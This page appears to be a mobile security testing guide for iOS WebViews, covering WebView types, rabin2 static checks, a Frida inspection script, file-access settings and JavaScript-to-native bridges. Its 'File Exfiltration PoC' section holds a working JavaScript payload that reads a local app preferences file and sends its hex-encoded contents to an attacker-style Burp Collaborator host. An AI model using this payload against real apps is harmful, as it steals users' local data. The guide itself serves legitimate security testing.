Skip to main content
iOS apps embed web content via WebViews. Each type has distinct security properties and testing approaches.

WebView Types

UIWebView

Deprecated since iOS 12. Cannot disable JavaScript, making it inherently vulnerable to script injection and XSS. Avoid entirely in new apps.

WKWebView

Preferred choice. JavaScript can be disabled, supports hasOnlySecureContent for mixed content detection, and minimizes memory corruption risk to the main app process.

SFSafariViewController

Standardized browser experience sharing Safari’s cookies. Cannot disable JavaScript. Must be displayed prominently per App Store guidelines.
// Disable JavaScript in WKWebView
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Static Analysis

Identify WebView Type

# Find UIWebView usage
rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

# Find WKWebView usage
rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

# Find WKWebView initialization
rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Check JavaScript Configuration

# Verify javaScriptEnabled is false in WKWebView
rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

# Check for secure content enforcement
rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

# Check for local file loading methods
rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"

File Access Analysis

UIWebView allows universal file access by default. WKWebView is stricter but has two dangerous optional settings:
  • allowFileAccessFromFileURLs — allows file URLs to access other file URLs (default: false)
  • allowUniversalAccessFromFileURLs — allows file URLs to access any origin (default: false)
Both being false by default is the correct, secure state.

Dynamic Analysis

Heap Inspection with Frida

// webviews_inspector.js
// frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

ObjC.choose(ObjC.classes["UIWebView"], {
  onMatch: function (ui) {
    console.log("UIWebView found:")
    console.log("  URL: ", ui.request().toString())
  },
  onComplete: function () { console.log("UIWebView scan done") }
})

ObjC.choose(ObjC.classes["WKWebView"], {
  onMatch: function (wk) {
    console.log("WKWebView found:")
    console.log("  URL:", wk.URL().toString())
    console.log("  javaScriptEnabled:",
      wk.configuration().preferences().javaScriptEnabled())
    console.log("  hasOnlySecureContent:",
      wk.hasOnlySecureContent().toString())
    console.log("  allowFileAccessFromFileURLs:",
      wk.configuration().preferences().valueForKey_("allowFileAccessFromFileURLs").toString())
    console.log("  allowUniversalAccessFromFileURLs:",
      wk.configuration().valueForKey_("allowUniversalAccessFromFileURLs").toString())
  },
  onComplete: function () { console.log("WKWebView scan done") }
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
  onMatch: function (sf) { console.log("SFSafariViewController found:", sf) },
  onComplete: function () { console.log("SFSafariViewController scan done") }
})

WebView Protocol Handling

WKWebView supports http(s)://, file://, and tel:// protocols. Methods for loading content:
  • loadHTMLString:baseURL: — loads HTML string with a base URL
  • loadData:MIMEType:textEncodingName:baseURL: — loads raw data
  • loadRequest: — loads a URL request
  • loadFileURL:allowingReadAccessToURL: — loads a local file (dangerous if a directory is specified — exposes all files in it)
If loadFileURL:allowingReadAccessToURL: is called with a directory path (not a file path), all files in that directory become accessible to the WebView’s JavaScript.

File Exfiltration PoC

This JavaScript payload exfiltrates a local file via XHR if the WebView has file access:
String.prototype.hexEncode = function () {
  var result = ""
  for (var i = 0; i < this.length; i++) {
    var hex = this.charCodeAt(i).toString(16)
    result += ("000" + hex).slice(-4)
  }
  return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    var xhr2 = new XMLHttpRequest()
    xhr2.open("GET",
      "http://attacker.burpcollaborator.net/" + xhr.responseText.hexEncode(),
      true)
    xhr2.send(null)
  }
}
xhr.open("GET",
  "file:///var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.app.plist",
  true)
xhr.send(null)

Native Methods via WebViews

JSContext (UIWebView)

iOS 7+ allows JavaScript to call native Swift/Objective-C via JSContext:
// Get JSContext from UIWebView
JSContext *context = [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];

postMessage (WKWebView)

WKWebView uses message passing for JS-to-native communication:
func enableJavaScriptBridge(_ enabled: Bool) {
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
    if enabled {
        let handler = JavaScriptBridgeMessageHandler()
        userContentController.add(handler, name: "javaScriptBridge")
    }
}
JavaScript side:
function invokeNativeOperation() {
  window.webkit.messageHandlers.javaScriptBridge.postMessage([
    "multiplyNumbers",
    document.getElementById("value1").value,
    document.getElementById("value2").value,
  ])
}
Native handler (Swift):
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController,
                               didReceive message: WKScriptMessage) {
        let messageArray = message.body as! [String]
        var result = ""
        switch messageArray[0] {
        case "multiplyNumbers":
            let arg1 = Double(messageArray[1])!
            let arg2 = Double(messageArray[2])!
            result = String(arg1 * arg2)
        default: break
        }
        let callback = "javascriptBridgeCallBack('\(messageArray[0])','\(result)')"
        message.webView?.evaluateJavaScript(callback, completionHandler: nil)
    }
}
Exposed native methods via JSContext or postMessage handlers should be carefully reviewed. Sensitive operations (reading files, accessing the Keychain, making network requests) must not be accessible from JavaScript without proper authentication and input validation.

Debugging iOS WebViews

1

Enable Web Inspector on iOS Device

Go to Settings → Safari → Advanced and enable Web Inspector.
2

Enable Developer Tools in Safari (macOS)

Open Safari → Safari → Preferences → Advanced → check Show Develop menu.
3

Connect and Debug

Connect the iOS device to the Mac. In Safari on Mac, go to Develop → [Your Device Name] and select the WebView instance to inspect.
Only WebViews in apps loaded via Xcode can be debugged this way. Apps installed via App Store or Apple Configurator cannot be inspected.

References

Build docs developers (and LLMs) love